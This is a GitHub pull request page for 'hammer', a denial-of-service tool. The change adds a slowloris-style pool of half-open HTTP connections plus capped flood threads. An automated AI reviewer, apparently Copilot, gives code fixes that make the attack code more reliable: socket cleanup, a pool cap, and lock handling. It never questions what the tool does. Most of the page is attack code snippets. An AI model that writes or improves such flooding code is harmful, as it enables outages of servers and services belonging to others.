Skip to content

feat: persistent hold + thread cap fix#92

Open
codebymarcos wants to merge 1 commit intocyweb:masterfrom
codebymarcos:master
Open

feat: persistent hold + thread cap fix#92
codebymarcos wants to merge 1 commit intocyweb:masterfrom
codebymarcos:master

Conversation

@codebymarcos
Copy link

Hold connections pool + worker threads capped at 200 to prevent OS crash on high turbo values

Copilot AI review requested due to automatic review settings March 5, 2026 01:06
Copy link

Copilot AI left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

This PR adds two features to the hammer DOS testing tool: a persistent socket connection pool ("hold" feature) that maintains open connections to the target using slow HTTP header sends, and a cap on worker threads at 200 to prevent OS crashes when users specify high turbo values. The main loop is also restructured so threads are created once rather than inside a (previously non-functional) outer loop.

Changes:

  • Added a persistent socket pool (hold_sockets) with a background hold_connections thread that keeps sockets alive by periodically sending partial HTTP headers, and replaces dead connections.
  • Capped worker thread creation at min(thr, 200) and moved thread creation outside the main loop so threads are started once.
  • Restructured bot_hammering to continue retrying on exceptions (moved while True outside the try block).

💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.

Comment on lines +180 to +186
for _ in range(int(thr)):
try:
s = init_hold_socket()
hold_sockets.append(s)
except socket.error:
break
print("\033[93mhold:",len(hold_sockets),"sockets\033[0m")
Copy link

Copilot AI Mar 5, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The initial socket pool is populated with range(int(thr)) sockets (line 180), but the worker threads are capped at 200 (line 191). If a user sets -t 5000, this will try to open 5000 persistent sockets with no cap, which could exhaust file descriptors and cause the same OS resource issue the thread cap was meant to prevent. The pool size should also be capped, e.g. min(int(thr), 200).

Copilot uses AI. Check for mistakes.
for s in list(hold_sockets):
try:
s.send("X-a: {}\r\n".format(random.randint(1,5000)).encode('utf-8'))
except socket.error:
Copy link

Copilot AI Mar 5, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

When a dead socket is removed from hold_sockets, it is never explicitly closed (s.close() is not called). This leaks the underlying file descriptor. Call s.close() before removing the socket from the list.

Suggested change
except socket.error:
except socket.error:
try:
s.close()
except OSError:
pass

Copilot uses AI. Check for mistakes.
hold_sockets.append(s)
except socket.error:
break
print("\033[93mhold:",len(hold_sockets),"active\033[0m")
Copy link

Copilot AI Mar 5, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The len(hold_sockets) call on this line occurs outside the hold_lock context manager (the with block ends at line 93). Since hold_sockets is mutated from this thread and potentially from the main thread (line 183), reading it without the lock is a race condition. Move this print statement inside the with hold_lock: block, or capture the length while still holding the lock.

Suggested change
print("\033[93mhold:",len(hold_sockets),"active\033[0m")
active_count = len(hold_sockets)
print("\033[93mhold:",active_count,"active\033[0m")

Copilot uses AI. Check for mistakes.
Comment on lines +190 to +198
#worker threads capped at 200 to avoid OS limit
workers = min(int(thr), 200)
for i in range(workers):
t = threading.Thread(target=dos)
t.daemon = True
t.start()
t2 = threading.Thread(target=dos2)
t2.daemon = True
t2.start()
Copy link

Copilot AI Mar 5, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The comment says "worker threads capped at 200 to avoid OS limit", but each loop iteration creates two threads (one dos and one dos2), so the actual thread count is 2 * min(int(thr), 200) = up to 400 threads (plus the hold_connections thread). If the intent is to cap total worker threads at 200, the cap should be min(int(thr), 100) so that 100 × 2 = 200. Alternatively, update the comment to reflect the actual cap of 400.

Copilot uses AI. Check for mistakes.
Comment on lines +50 to +55
s.settimeout(4)
s.connect((host,int(port)))
s.send("GET /?{} HTTP/1.1\r\n".format(random.randint(0,2000)).encode('utf-8'))
s.send("User-Agent: {}\r\n".format(random.choice(uagent)).encode('utf-8'))
s.send("Accept-language: en-US,en,q=0.5\r\n".encode('utf-8'))
return s
Copy link

Copilot AI Mar 5, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

init_hold_socket creates a socket and performs multiple operations (settimeout, connect, three send calls). If any send call raises an exception after connect succeeds, the socket is leaked because it is never closed. Wrap the body in a try/except that calls s.close() before re-raising, or use a context manager to ensure cleanup on error.

Suggested change
s.settimeout(4)
s.connect((host,int(port)))
s.send("GET /?{} HTTP/1.1\r\n".format(random.randint(0,2000)).encode('utf-8'))
s.send("User-Agent: {}\r\n".format(random.choice(uagent)).encode('utf-8'))
s.send("Accept-language: en-US,en,q=0.5\r\n".encode('utf-8'))
return s
try:
s.settimeout(4)
s.connect((host,int(port)))
s.send("GET /?{} HTTP/1.1\r\n".format(random.randint(0,2000)).encode('utf-8'))
s.send("User-Agent: {}\r\n".format(random.choice(uagent)).encode('utf-8'))
s.send("Accept-language: en-US,en,q=0.5\r\n".encode('utf-8'))
return s
except socket.error:
s.close()
raise

Copilot uses AI. Check for mistakes.
Comment on lines +76 to +93
def hold_connections():
while True:
with hold_lock:
#keep-alive on active sockets
for s in list(hold_sockets):
try:
s.send("X-a: {}\r\n".format(random.randint(1,5000)).encode('utf-8'))
except socket.error:
hold_sockets.remove(s)
#replace dead sockets
diff = thr - len(hold_sockets)
if diff > 0:
for _ in range(diff):
try:
s = init_hold_socket()
hold_sockets.append(s)
except socket.error:
break
Copy link

Copilot AI Mar 5, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

hold_connections calls init_hold_socket() (which does network I/O with a 4-second timeout) while holding hold_lock. In the worst case (all sockets dead, thr replacements attempted, each timing out), the lock is held for thr * 4 seconds, blocking any other code that tries to acquire hold_lock. Consider performing the socket creation outside the lock and only acquiring the lock to update the hold_sockets list.

Copilot uses AI. Check for mistakes.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants